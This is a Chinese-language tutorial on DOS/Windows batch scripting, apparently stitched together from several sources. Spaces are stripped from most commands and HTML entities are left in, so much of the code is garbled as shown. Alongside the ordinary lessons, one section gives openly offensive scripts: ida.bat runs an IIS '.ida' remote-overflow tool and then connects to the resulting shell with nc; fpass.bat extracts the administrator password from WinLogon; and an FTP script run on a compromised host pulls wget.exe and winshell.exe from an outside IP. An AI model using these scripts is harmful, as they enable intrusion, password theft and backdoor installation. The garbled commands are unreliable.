  for%%cin(*.bat*.txt)dotype%%c

  则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

  批处理示例

  1.IF-EXIST

  1)

  首先用记事本在C:\\建立一个test1.bat批处理文件,文件内容如下:

  @echooff

  IFEXIST\\AUTOEXEC.BATTYPE\\AUTOEXEC.BAT

  IFNOTEXIST\\AUTOEXEC.BATECHO\\AUTOEXEC.BATdoesnotexist

  然后运行它:

  C:\\>TEST1.BAT

  如果C:\\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

  2)

  接着再建立一个test2.bat文件,内容如下:

  @ECHOOFF

  IFEXIST\\%1TYPE\\%1

  IFNOTEXIST\\%1ECHO\\%1doesnotexist

  执行:

  C:\\>TEST2AUTOEXEC.BAT

  该命令运行结果同上。

  说明:

  (1)IFEXIST是用来测试文件是否存在的,格式为

  IFEXIST[路径+文件名]命令

  (2)test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身),这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

  3)更进一步的,建立一个名为TEST3.BAT的文件,内容如下:

  @echooff

  IF\&#34;%1\&#34;==\&#34;A\&#34;ECHOXIAO

  IF\&#34;%2\&#34;==\&#34;B\&#34;ECHOTIAN

  IF\&#34;%3\&#34;==\&#34;C\&#34;ECHOXIN

  如果运行:

  C:\\>TEST3ABC

  屏幕上会显示:

  XIAO

  TIAN

  XIN

  如果运行:

  C:\\>TEST3AB

  屏幕上会显示

  XIAO

  TIAN

  在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

  2、IF-ERRORLEVEL

  建立TEST4.BAT,内容如下:

  @ECHOOFF

  XCOPYC:\\AUTOEXEC.BATD:IFERRORLEVEL1ECHO文件拷贝失败

  IFERRORLEVEL0ECHO成功拷贝文件

  然后执行文件:

  C:\\>TEST4

  如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。

  IFERRORLEVEL是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:

  @ECHOOFF

  XCOPYC:\\AUTOEXEC.BATD:\\

  IFERRORLEVEL0ECHO成功拷贝文件

  IFERRORLEVEL1ECHO未找到拷贝文件

  IFERRORLEVEL2ECHO用户通过ctrl-c中止拷贝操作

  IFERRORLEVEL3ECHO预置错误阻止文件拷贝操作

  IFERRORLEVEL4ECHO拷贝过程中写盘错误

  无论拷贝是否成功,后面的:

  未找到拷贝文件

  用户通过ctrl-c中止拷贝操作

  预置错误阻止文件拷贝操作

  拷贝过程中写盘错误

  都将显示出来。

  以下就是几个常用命令的返回值及其代表的意义:

  backup

  0备份成功

  1未找到备份文件

  2文件共享冲突阻止备份完成

  3用户用ctrl-c中止备份

  4由于致命的错误使备份操作中止

  diskcomp

  0盘比较相同

  1盘比较不同

  2用户通过ctrl-c中止比较操作

  3由于致命的错误使比较操作中止

  4预置错误中止比较

  diskcopy

  0盘拷贝操作成功

  1非致命盘读/写错

  2用户通过ctrl-c结束拷贝操作

  3因致命的处理错误使盘拷贝中止

  4预置错误阻止拷贝操作

  format

  0格式化成功

  3用户通过ctrl-c中止格式化处理

  4因致命的处理错误使格式化中止

  5在提示“proceedwithformat(y/n)?”下用户键入n结束

  xcopy

  0成功拷贝文件

  1未找到拷贝文件

  2用户通过ctrl-c中止拷贝操作

  4预置错误阻止文件拷贝操作

  5拷贝过程中写盘错误

  3、IFSTRING1==STRING2

  建立TEST5.BAT,文件内容如下:

  @echooff

  IF\&#34;%1\&#34;==\&#34;A\&#34;formATA:

  执行:

  C:\\>TEST5A

  屏幕上就出现是否将A:盘格式化的内容。

  注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。

  如:if[%1]==[A]或者if%1*==A*

  5、GOTO

  建立TEST6.BAT,文件内容如下:

  @ECHOOFF

  IFEXISTC:\\AUTOEXEC.BATGOTO_COPY

  GOTO_DONE

  :_COPY

  COPYC:\\AUTOEXEC.BATD:\\

  :_DONE

  注意:

  (1)标号前是ASCII字符的冒号\&#34;:\&#34;,冒号与标号之间不能有空格。

  (2)标号的命名规则与文件名的命名规则相同。

  (3)DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

  6、FOR

  建立C:\\TEST7.BAT,文件内容如下:

  @ECHOOFF

  FOR%%CIN(*.BAT*.TXT*.SYS)DOTYPE%%C

  运行:

  C:>TEST7

  执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。

  win2000命令行方式批处理BAT文件技巧

  文章结构

  1.所有内置命令的帮助信息

  2.环境变量的概念

  3.内置的特殊符号(实际使用中间注意避开)

  4.简单批处理文件概念

  5.附件1tmp.txt

  6.附件2sample.bat

  ###########################

  1.所有内置命令的帮助信息

  ###########################

  ver

  cmd/?

  set/?

  rem/?

  if/?

  echo/?

  goto/?

  for/?

  shift/?

  call/?

  其他需要的常用命令

  type/?

  find/?

  findstr/?

  copy/?

  下面将所有上面的帮助输出到一个文件

  echover>tmp.txt

  ver>>tmp.txt

  echocmd/?>>tmp.txt

  cmd/?>>tmp.txt

  echorem/?>>tmp.txt

  rem/?>>tmp.txt

  echoif/?>>tmp.txt

  if/?>>tmp.txt

  echogoto/?>>tmp.txt

  goto/?>>tmp.txt

  echofor/?>>tmp.txt

  for/?>>tmp.txt

  echoshift/?>>tmp.txt

  shift/?>>tmp.txt

  echocall/?>>tmp.txt

  call/?>>tmp.txt

  echotype/?>>tmp.txt

  type/?>>tmp.txt

  echofind/?>>tmp.txt

  find/?>>tmp.txt

  echofindstr/?>>tmp.txt

  findstr/?>>tmp.txt

  echocopy/?>>tmp.txt

  copy/?>>tmp.txt

  typetmp.txt

  #############################

  2.环境变量的概念

  #############################

  C:\\ProgramFiles>set

  ALLUSERSPROFILE=C:\\DocumentsandSettings\\AllUsers

  CommonProgramFiles=C:\\ProgramFiles\\CommonFiles

  COMPUTERNAME=FIRST

  ComSpec=C:\\WINNT\\system32\\cmd.exe

  NUMBER_OF_PROCESSORS=1

  OS=Windows_NT

  Os2LibPath=C:\\WINNT\\system32\\os2\\dll;

  Path=C:\\WINNT\\system32;C:\\WINNT;C:\\WINNT\\system32\\WBEM

  PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

  PROCESSOR_ARCHITECTURE=x86

  PROCESSOR_IDENTIFIER=x86Family6Model6Stepping5,GenuineIntel

  PROCESSOR_LEVEL=6

  PROCESSOR_REVISION=0605

  ProgramFiles=C:\\ProgramFiles

  PROMPT=$P$G

  SystemDrive=C:

  SystemRoot=C:\\WINNT

  TEMP=C:\\WINNT\\TEMP

  TMP=C:\\WINNT\\TEMP

  USERPROFILE=C:\\DocumentsandSettings\\DefaultUser

  windir=C:\\WINNT

  path:表示可执行程序的搜索路径.我的建议是你把你的程序copy到

  %windir%\\system32\\.这个目录里面.一般就可以自动搜索到.

  语法:copymychenxu.exe%windir%\\system32\\.

  使用点(.)便于一目了然

  对环境变量的引用使用(英文模式,半角)双引号

  %windir%变量

  %%windir%%二次变量引用.

  我们常用的还有

  %temp%临时文件目录

  %windir%系统目录

  %errorlevel%退出代码

  输出文件到临时文件目录里面.这样便于当前目录整洁.

  对有空格的参数.你应该学会使用双引号(\&#34;\&#34;)来表示比如对porgramfile文件夹操作

  C:\\>dirp*

  C:\\的目录

  2000-09-0211:472,164PDOS.DEF

  1999-01-0300:47ProgramFiles

  1个文件2,164字节

  1个目录1,505,997,824可用字节

  C:\\>cdpro*

  C:\\ProgramFiles>

  C:\\>

  C:\\>cd\&#34;ProgramFiles\&#34;

  C:\\ProgramFiles>

  ############################################

  3.内置的特殊符号(实际使用中间注意避开)

  ############################################

  微软里面内置了下列字符不能够在创建的文件名中间使用

  connulaux\\/|||&&^>创建一个文件

  >>追加到一个文件后面

  @前缀字符.表示执行时本行在cmd里面不显示,可以使用echooff关闭显示

  ^对特殊符号(>aaa

  echo1231231>bbb

  ()包含命令

  (echoaa&echobb)

  ,和空格一样的缺省分隔符号.

  ;注释,表示后面为注释

  :标号作用

  |管道操作

  &Usage:第一条命令&第二条命令[&第三条命令...]

  用这种方法可以同时执行多条命令,而不管命令是否执行成功

  dirc:\\*.exe&dird:\\*.exe&dire:\\*.exe

  &&Usage:第一条命令&&第二条命令[&&第三条命令...]

  当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

  ||Usage:第一条命令||第二条命令[||第三条命令...]

  当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

  常用语法格式

  IF[NOT]ERRORLEVELnumbercommandpara1para2

  IF[NOT]string1==string2commandpara1para2

  IF[NOT]EXISTfilenamecommandpara1para2

  IFEXISTfilenamecommandpara1para2

  IFNOTEXISTfilenamecommandpara1para2

  IF\&#34;%1\&#34;==\&#34;\&#34;gotoEND

  IF\&#34;%1\&#34;==\&#34;net\&#34;gotoNET

  IFNOT\&#34;%2\&#34;==\&#34;net\&#34;gotoOTHER

  IFERRORLEVEL1commandpara1para2

  IFNOTERRORLEVEL1commandpara1para2

  FOR/L%%iIN(start,step,end)DOcommand[command-parameters]%%i

  FOR/F\&#34;eol=;tokens=2,3*delims=,\&#34;%iin(myfile.txt)doecho%i%j%k

  按照字母顺序ijklmnopq依次取参数.

  eol=c-指一个行注释字符的结尾(就一个)

  skip=n-指在文件开始时忽略的行数。

  delims=xxx-指分隔符集。这个替换了空格和跳格键的默认分隔符集。

  ########################

  4.简单批处理文件概念

  ########################

  echoThisistest>a.txt

  typea.txt

  echoThisistest11111>>a.txt

  typea.txt

  echoThisistest22222>a.txt

  typea.txt

  第二个echo是追加

  第三个echo将清空a.txt重新创建a.txt

  netstat-n|find\&#34;3389\&#34;

  这个将要列出所有连接3389的用户的ip.

  ________________test.bat______

  @echopleasecare

  echoplesecare1111

  echoplesecare2222

  echoplesecare3333

  @echopleasecare

  @echoplesecare1111

  @echoplesecare2222

  @echoplesecare3333

  rem不显示注释语句,本行显示

  @rem不显示注释语句,本行不显示

  @ifexist%windir%\\system32\\find.exe(echoFindfind.exe!!!)else(echoERROR:Notfindfind.exe)

  @ifexist%windir%\\system32\\fina.exe(echoFindfina.exe!!!)else(echoERROR:Notfindfina.exe)

  _____________________________

  下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

  ___________________ida.bat_____

  @remver1.0

  @ifNOTexist%windir%\\system32\\idahack.exeecho\&#34;ERROR:dontfindidahack.exe\&#34;

  @ifNOTexist%windir%\\system32\\nc.exeecho\&#34;ERROR:dontfindnc.exe\&#34;

  @if\&#34;%1\&#34;==\&#34;\&#34;gotoUSAGE

  @ifNOT\&#34;%2\&#34;==\&#34;\&#34;gotoSP2

  :start

  @echoNowstart…

  @ping%1

  @echochinesewin2k:1sp1:2sp2:3

  idahack.exe%180199>%temp%\\_tmp

  @echo\&#34;progexitcode[%errorlevel%]idahack.exe\&#34;

  @type%temp%\\_tmp

  @find\&#34;goodluck:)\&#34;%temp%\\_tmp

  @echo\&#34;progexitcode[%errorlevel%]find[googluck]\&#34;

  @ifNOTerrorlevel1nc.exe%199

  @gotoEND

  :SP2

  @idahack.exe%180%299%temp%\\_tmp

  @type%temp%\\_tmp

  @find\&#34;goodluck:)\&#34;%temp%\\_tmp

  @ifNOTerrorlevel1nc.exe%199

  @gotoEND

  :USAGE

  @echoExample:ida.batIP

  @echoExample:ida.batIP(2,3)

  :END

  _____________________ida.bat__END_______

  下面我们再来第二个文件.就是得到administrator的口令.

  大多数人说得不到.其实是自己的没有输入正确的信息.

  ___________________________fpass.bat____________________________________________

  @remver1.0

  @ifNOTexist%windir%\\system32\\findpass.exeecho\&#34;ERROR:dontfindfindpass.exe\&#34;

  @ifNOTexist%windir%\\system32\\pulist.exeecho\&#34;ERROR:dontfindpulist.exe\&#34;

  @echostart….

  @echo____________________________________

  @if\&#34;%1\&#34;==\&#34;\&#34;gotoUSAGE

  @findpass.exe%1%2%3>>%temp%\\_findpass.txt

  @echo\&#34;progexitcode[%errorlevel%]findpass.exe\&#34;

  @type%temp%\\_findpass.txt

  @echo________________________________Here__pass★★★★★★★★

  @ipconfig/all>>%temp%\\_findpass.txt

  @gotoEND

  :USAGE

  @pulist.exe>%temp%\\_pass.txt

  @findstr.exe/i\&#34;WINLOGONexplorerinternat\&#34;%temp%\\_pass.txt

  @echo\&#34;Example:fpass.bat%1%2%3%4!!!\&#34;

  @echo\&#34;Usage:findpass.exeDomainNameUserNamePID-of-WinLogon\&#34;

  :END

  @echo\&#34;fpass.bat%COMPUTERNAME%%USERNAME%administrator\&#34;

  @echo\&#34;fpass.batend[%errorlevel%]!\&#34;

  _________________fpass.bat___END___________________________________________________________

  还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

  依次在窗口输入下面的东西.当然了也可以全部拷贝.Ctrl+V过去.然后就等待吧!!

  echoopen210.64.x.43396>w

  echoread>>w

  echoread>>w

  echocdwinnt>>w

  echobinary>>w

  echopwd>>w

  echogetwget.exe>>w

  echogetwinshell.exe>>w

  echogetany.exe>>w

  echoquit>>w

  ftp-s:w

  

关于bat 批处理命令
[ 编辑本段 ]
  关于bat批处理命令文件类型语法格式应用的详解

  大家知不知道默认共享这回事?这东西用不着的地方可就不是好东西了.所以就要删掉.但这东西是每次系统重起后都会重新创建的.所以每次都要重新打开cmd重新删掉一下.极为麻烦.但有了批处理文件就不一样了,先把命令输入到批处理文件中,然后加入到启动项中,每次启动就会自动运行,免去了每次输入命令的麻烦.至于怎么写这个批处理文件嘛,到文章的结尾我会告诉大家的,但不知道在我写完之前会不会睡着呢?~

  如何创建批处理文件?

  不要听了批处理文件就感到很神气,其实这东西很简单的.你用过记事本没有?用过?好的.将记事本打开,什么都不用写,然后选择文件,保存.保存类型选择所有文件,文件名则命名为*.bat这个*代表是文件名,你可以随便的起.保存好之后,看看你保存的地方,会出现一个白色窗口里有个黄色齿轮的图标.这东西就是你创建的批处理文件,双击他就可以运行,但他现在由于里面没有输入任何命令,所以他运行了并不会做任何事情.当我们想往这个*.bat文件中添加东西时,只要右键选择他,然后选择编辑,就可以打开记事本往内输入命令了.

  批处理文件中的命令是什么?

  批处理文件中的命令暂时先可以理解为dos命令,等稍后深入理解了以后再进行解释.批处理顾名思义就是一大堆东西堆在一起处理.换句话说就是往里面写一条条dos命令,然后按顺序挨个执行,效果跟你在cmd里敲dos命令是一个效果.只不过用批处理写好之后,要运行只要双击下就可以运行了.而不用再一遍一遍的重复的往里面打命令.这就是批处理文件的好处.

  除了运行dos命令之外,他还可以支持选择结构if,循环结构for,goto等,与c有点类似,但远没有c全面,并且编写语言十分不规范.

  批处理语法:

  先讲个最基本的东西@echooff

  echo的意思是回旋,这里的意思就是回显,echooff意思就是关闭回显.前面的@表示echooff这一行也不会回显你可以试着去掉@和整行去掉.@的另一个功能是在执行完批处理文件时自动恢复命令回显。如果第一句用的是ECHOOFF,那么在执行完批处理文件以后不会显示命令提示符。

  举个例子:如果我们先创建一个1.bat文件,往里面输入:

  dir然后保存在c:\下.然后我们运行cmd,进入c盘根目录下,输入1.bat,则显示:

  C:>dir

  驱动器C中的卷没有标签。

  卷的序列号是0C5D-07FF

  C:的目录

  2004-08-2500:45WINDOWS

  2004-08-2500:51DocumentsandSettings

  ………..

  C:

  如果将1.bat内容修改成

  echooff

  dir

  然后再在cmd里输入1.bat,则会显示

  C:>echooff//因为运行了echooff,所以没有显示dir命令,直接显示了结果

  驱动器C中的卷没有标签。

  卷的序列号是0C5D-07FF

  C:的目录

  2004-08-2500:45WINDOWS

  2004-08-2500:51DocumentsandSettings

  .....

  C:

  如果将1.bat文件修改成:

  @echooff

  dir

  则显示成:

  C:>1.bat//与前面不同,并没有显示echooff,原因是加了@,所以不显示@后面的内容.又因为加

  //了echooff,所以后面的命令不显示,直接显示结果

  驱动器C中的卷没有标签。

  卷的序列号是0C5D-07FF

  C:的目录

  2004-08-2500:45WINDOWS

  2004-08-2500:51DocumentsandSettings

  ....

  C:

  通过以上的比较,相信你对echooff命令已经充分掌握了.现在已经1点了...写得累啊!!!洗澡睡觉去了

  ----------------------

  早晨6点就被拉起来了...我命苦啊,那么继续写吧

  ----------------------

  接下来讲的是call命令:

  call是打电话的call,而不是"喔靠"的靠:).call的意思为调用.假如有2个批处理文件a.bat和b.bat.如果我想运行a.bat的当中运行b.bat.如何运行呢?其实很简单,只要在a.bat文件中输入call命令,则可以在a.bat运行的当中,运行b.bat,等b.bat运行完之后,继续执行a.bat

  call命令格式:

  CALL[drive:][path]filename[batch-parameters]

  batch-parameters指定批处理程序所需的命令行信息。

  举例如下,我们在c盘根目录下创建a.bat文件,内容为:

  echothisisa.bat

  calld:b.bat

  echodone

  然后在d盘根目录下创建b.bat,内容为:

  echothisisb.bat

  保存后,打开cmd,进入c盘根目录,然后输入1.bat,显示如下:

  C:>a.bat

  C:>echothisisa.bat

  thisisa.bat

  C:>calld:b.bat

  C:>echothisisb.bat

  thisisb.bat

  C:>echodone

  done

  由例子很容易看出来,是先运行a.bat的内容,直到遇到callb.bat后,则调用b.bat,运行完b.bat后,再返回a.bat接着运行callb.bat后面的echodone语句,直至将a.bat的所有批处理命令运行完.

  注:里面有个[batch-parameters]里面的所指的参数是什么,知道的朋友能否告知,不胜感激.

  PAUSE命令

  暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处理程序中使用该命令。

  rem命令:

  表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释).

  同时你可以用两个冒号来替代rem.如:::等同于一个rem.但他们有个区别,就是用::作注释的话他是不回显的,即使你打echoon强制回显也没有同的.同时rem可以在config.sys中加注释.

  语法:rem[commnet]

  批处理文件参数:

  有点变成基础的人都知道函数有参数.批处理文件也有参数.

  我打个比方,希望能帮助没有语言基础的人也能看的非常明白.

  我从例子里开始吧.首先在c盘根目录下创建一个批处理文件a.bat,里面输入内容

  echo%1

  然后打开cmd,然后进入c盘根目录.输入:a&#34;thisisacanshu&#34;

  得到结果如下:

  C:>a.bat&#34;thisisatest&#34;

  C:>echo&#34;thisisatest&#34;

  &#34;thisisatest&#34;

  输入的a&#34;thisisacanshu&#34;中,a为新建的a.bat的文件名a(后面的.bat可写也可不写),而a后面的&#34;thisisacanshu&#34;这句话就是参数,写在这的参数,在程序运行中就将参数自动放到批处理程序中去.那么放在什么位置呢?就是放在%1的地方.

  看了例子,让我们看看整个关于参数的定义如何:

  批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符&#34;%&#34;。

  %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。//我们上个程序的例子里就有%1,他就是参数,而输入中"thisisatest"作为参数就直接放到%1的位置,于是程序就变成了echo&#34;thisisatest&#34;.

   再举几个例子帮助你理解:

  C:根目录下一批处理文件名为b.bat,内容为:

  @echooff

  type%1//type为dos中的输出命令,可以用来输出文本文件的内容,比如我们新建一个1.txt文件

  //里面输入内容,保存.进cmd,如果输入1.txt则看不了1.txt文件内容,但是如果我

  //想看怎么办呢?这时候可以用type命令,只要在cmd里输入type1.txt就能显示

  //1.txt文件中的内容了

  type%2

  那么运行C:>ba.txtb.txt

  %1:表示a.txt

  %2:表示b.txt

  于是上面的批处理命令就变成了

  @echooff

  typea.txt

  typeb.txt

  于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

  没有编程基础的人可能要问,干什么要弄个参数啊?在后面加个参数多麻烦啊?直接往里面写不就好了啊?!其实这样想有对的方面也有错的方面.还是举个例子说明吧.

  第一步还是在c盘根目录下新建一个批处理文件,我们取名仍为a.bat.往里面的内容输入为:

  ping%1//ping命令可以简单理解为测试一台机器开着还是没有开,如果开着的话,他就回给你回送回应.

  然后进cmd,我们想测试下163的服务器是不是开着,则输入awww.163.com

  对于知道ping命令的人,可以打ping进行检查,但如果想ping的人不知道ping命令怎么用,那怎么办啊?这时候你就可以把命令预先输入到批处理文件中,保存好,然后让不会用的人进cmd,运行你的批处理文件,文件名后面加上他要ping的网站地址就行了.换句话说,他想ping163就直接加163的网址,想pingsina就直接加sina的网址.这样只要输入一个参数,而不用改程序本身,整个程序的通用性就大大提高了.

  这是对于一个简单的ping命令,你或许觉得用参数不值得,还是直接改不就好了啊.但如果程序有很多条,你一下找不到在哪改怎么办啊?所以,不管你是菜哥,菜弟,菜姐,菜妹,只要运行下,输入参数,结果自己就会出来,不用再象你一样,考虑怎么编写批处理文件.人家只要知道是输入什么东西能让批处理程序运行,而编写的人则想的是如何让不懂程序的人能运行程序.

  批处理参数就这么简单,不知道你理解了没有?但如果你想深一步了解批处理参数,可以接着往下看,如果不想深入了解,知道现在这么多也就够了.

  因为参数只有1%-9%,但当我们要引用第十个或更多个参数时,就必须移动DOS的参数起始指针.shift命令正充当了这个移动指针的角色,它将参数的起始指针移动到下一个参数,类似C语言中的指针操作.图示如下:

  初始状态,cmd为命令名,可以用%0引用

  cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10

  ^^^^^^^^^^

  &line;&line;&line;&line;&line;&line;&line;&line;&line;&line;

  %0%1%2%3%4%5%6%7%8%9

  经过1次shift后,cmd将无法被引用

  cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10

  ^^^^^^^^^^

  &line;&line;&line;&line;&line;&line;&line;&line;&line;&line;

  %0%1%2%3%4%5%6%7%8%9

  经过2次shift后,arg1也被废弃,%9指向为空,没有引用意义

  cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10

  ^^^^^^^^^^

  &line;&line;&line;&line;&line;&line;&line;&line;&line;&line;

  %0%1%2%3%4%5%6%7%8%9

  遗憾的是,win9x和DOS下均不支持shift的逆操作.只有在nt内核命令行环境下,shift才支持/n参数,可以以第一参数为基准返复移动起始指针.

  =================

  ifgotochoicefor高级语法

  今天就写到这吧,我收拾收拾东西准备滚蛋回学校了.可能ifgotochoicefor高级语法要在沈阳才能完成了,祝我好运吧.

  ======================

  学校的&#34;网吧&#34;终于算重新开张了,抓紧时间把剩下的写完

  if命令

  说得通俗点,if就相当于我们白话里的如果.

  举个例子:如果a喜欢b,那么a就要娶b.这句话翻译成计算机语言就成了

  ifa喜欢ba就要娶b.

  当然拉,计算机不可能理解a喜欢b,a就要娶b这两句话,这里只是举个例子让你方便理解.

  if语句一共有3种模式,如下:

  IF[NOT]string1==string2command

  IF[NOT]EXISTfilenamecommand

  IF[NOT]ERRORLEVELnumbercommand

  NOT指定只有条件为false的情况下,WindowsXP才应该执行该命令。

  ERRORLEVELnumber如果最后运行的程序返回一个等于或大于指定数字的退出编码,指定条件为true。

  string1==string2如果指定的文字字符串匹配,指定条件为true。

  EXISTfilename如果指定的文件名存在,指定条件为true。

  command如果符合条件,指定要执行的命令。如果指定的条件为FALSE,命令后可跟一个执行ELSE关键字后的命令的ELSE命令。

  我们先讲解第一种:

  IF[NOT]string1==string2command

  自然语句意思:如果string1==string2,那么执行command

  下面再举个能实际应用的if语句.

  自然语句:如果输入的参数为3,那么显示"a=3"

  计算机语句:

  @echooff

  if&#34;%1&#34;==&#34;3&#34;echo&#34;a=3&#34;

  或者写成

  @echooff

  if%1==3echo&#34;a=3&#34;

  注意:当要测试的时候,因在cmd底下,输入1.bat3.因为这里用了是传递参数,具体看文章前部分&#34;批处理文件参数&#34;.

  第二种:

  IF[NOT]EXISTfilenamecommand

  这条命令用语检测文件是否存在.如果存在,执行command.如果不存在,则什么也不显示.

  如:我们想检查e盘根目录下是否有一个叫2.txt的文件.如果存在,则显示exist.如果不存在,则什么也不显示.

  批处理命令如下:

  @echooff

  ifexiste:2.txtecho&#34;exist2.txt&#34;

  第三种:

  IF[NOT]ERRORLEVELnumbercommand

  这个我引用点资料,感觉别人写得更详细,引用部分为粉色字部分:

  iferrorlevel待执行的命令

  很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过iferrorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

  如iferrorlevel2gotox2

  ====注===========

  返回值从大到小的顺序排列不是必须的,而只是执行命令为goto时的习惯用法,当使用set作为执行命令时,通常会从小到大顺序排列,比如需将返回码置入环境变量,就需使用以下的顺序形式:

  iferrorlevel1setel=1

  iferrorlevel2setel=2

  iferrorlevel3setel=3

  iferrorlevel4setel=4

  iferrorlevel5setel=5

  …

  当然,也可以使用以下循环来替代,原理是一致的:

  for%%ein(12345678…)doiferrorlevel%%esetel=%%e//此处为一个for循环,后面会继续介绍到的,看不懂可以先跳过去

  iferrorlevel比较返回码的判断条件并非等于,而是大于等于.由于goto的跳转特性,由小到大排序会导致在较小的返回码处就跳出;而由于set命令的&#34;重复&#34;赋值特性,由大到小排序会导致较小的返回码&#34;覆盖&#34;较大的返回码.

  另外,虽然iferrorlevel=command也是有效的命令行,但也只是command.com解释命令行时将=作为命令行切分符而忽略掉罢了

  choice命令

  ????

  goto命令

  for命令

  for命令其实就是一个循环命令,如果我们想重复一个语句,就可以用for命令.通过for命令,可以控制循环的次数等.

  语法:

  FOR%variableIN(set)DOcommand[command-parameters]

  %variable指定一个单一字母可替换的参数。

  (set)指定一个或一组文件。可以使用通配符。

  command指定对每个文件执行的命令。

  command-parameters

  为特定命令指定参数或命令行开关。

  在批处理文件中使用FOR命令时,指定变量请使用%%variable

  而不要用%variable。变量名称是区分大小写的,所以%i不同于%I.

  不知道你你看懂了没有,其实还是很容易理解的,还是举个例子吧.我想用type打印所有c盘根目录下的bat文件和txt文件.dos底下命令就是type*.bat*.txt.先将该文件保存在c盘根目录下,名称为a.bat

  用for命令如下:

  for%%tin(*.bat*.txt)dotype%%t

  %%t其实就是代表的一个参数,他的内容在in()里面括号里的内容.也就是说这句话里的%%t就变成了*.bat*.txt了.do就是做的意思,执行type命令,而type后面是%%t,而%%t又是*.bat*.txt.所以原来这句命令的意思就变成了:

  type*.bat*.txt

  执行时进cmd,然后到c盘根目录下输入a.bat就可以打印出c盘根目录下所有扩展名为.bat和.txt的文件内容了.

  这里要注意:in后面有个空格.

  在xp底下,for命令扩展名被起用因此for的功能变得更加强大.下面讲一个真正的循环.

  FOR/L%variableIN(start,step,end)DOcommand[command-parameters]

  该集表示以增量形式从开始到结束的一个数字序列。

  因此,(1,1,5)将产生序列12345,(5,-1,1)将产生

  序列(54321)

  里面第一个1在start的位置,意思是起始位置,第2个1在step位置,英文意思是跨步,在这里面的意思是每次增量为1.后面的5在end的位置,意思是结束时的大小.

  这句话的意思就是从1(start)开始增加,每次增加1(step),一直到变到5(end)为止.

  这个有什么用呢?其实我感觉这个东西的用处还是很大的.举个最简单的例子,我们想重复回显&#34;iamthebest&#34;这句话,重复显示10遍.那么for命令如下:

  for/L%%ein(1,1,10)doecho&#34;iamthebest&#34;

  这时,cmd就会重复输入&#34;iamthebest&#34;10遍.

  ===============================================

  看完整篇文章了吗?咳…我写的不容易啊….

  现在不知道你对bat有了什么样的理解,我现在的感觉就是bat就是dos命令的组合,你把dos命令全写进bat命令,只要运行下bat就会挨个执行dos命令,这无疑提供了不少的方便。

  下面我再举些实例.

  删除默认共享:

  对于默认共享不知道你了解多少,反正留着是个隐患,现在唯一的办法好象只能做个bat文件进行删除.命令如下:

  netshareipc$Content$nbsp;/delete

  netshareadmin$Content$nbsp;/delete

  netsharec$Content$nbsp;/delete

  netshared$Content$nbsp;/delete

  netsharee$Content$nbsp;/delete

  ……

  里面的cde为你的盘符。如果你只有一个分区,那么写到netsharec$Content$nbsp;/delete为止就可以了。如果你有n个分区,那么就挨个写下去。

  netshared$Content$nbsp;/delete

  netsharee$Content$nbsp;/delete

  netsharef$Content$nbsp;/delete

  netshareg$Content$nbsp;/delete……

  登陆到局域网的机器快捷方式(对方机器有密码且为2000或以上系统)

  netuse\192.168.0.1[密码]/user:[用户名]

  explorer\192.168.0.1

  bat文件备份注册表

  setregfile=%date%//设置变量,下面出现%regfile%的都自动替换“当天date”

  ifexist&#34;%regfile%&#34;gotoend//如果发现当天date命名的目录,跳到文件尾。

  mdtemp//建temp目录

  call1.bat//调用1.bat

  del1.bat

  ren2.bat1.bat

  ren3.bat2.bat

  ren4.bat3.bat

  echomove&#34;%regfile%&#34;temp>4.bat//写移动“当天date命名的目录”到temp的bat文件。

  md&#34;%regfile%&#34;//建当天date命名的目录

  cd&#34;%regfile%&#34;//进入

  regexporthkcuhkcu.reg//导出注册表

  regexporthklmhklm.reg

  //HKEY_CURRENT_USER缩写hkcu。存放当前用户个人数据

  //HKEY_LOCAL_MACHINE缩写hklm。系统的核心数据

  cd..

  deltree/ytemp>nul////返回上级目录,删temp文件夹

  :end

 
 

04

At计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用,则 at 列出已计划的命令。

语法
at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]

at [[\\ComputerName] hours:minutes [/interactive] [{/every:date[,...]|/next:date[,...]}] command]

参数
\\computername
指定远程计算机。如果省略该参数,则 at 计划本地计算机上的命令和程序。
ID
指定指派给已计划命令的识别码。
/delete
取消已计划的命令。如果省略了 ID,则计算机中所有已计划的命令将被取消。
/yes
删除已计划的事件时,对来自系统的所有询问都回答“是”。
hours:minutes
指定命令运行的时间。该时间用 24 小时制(即从 00:00 [午夜] 到 23:59)的 小时: 分钟格式表示。
/interactive
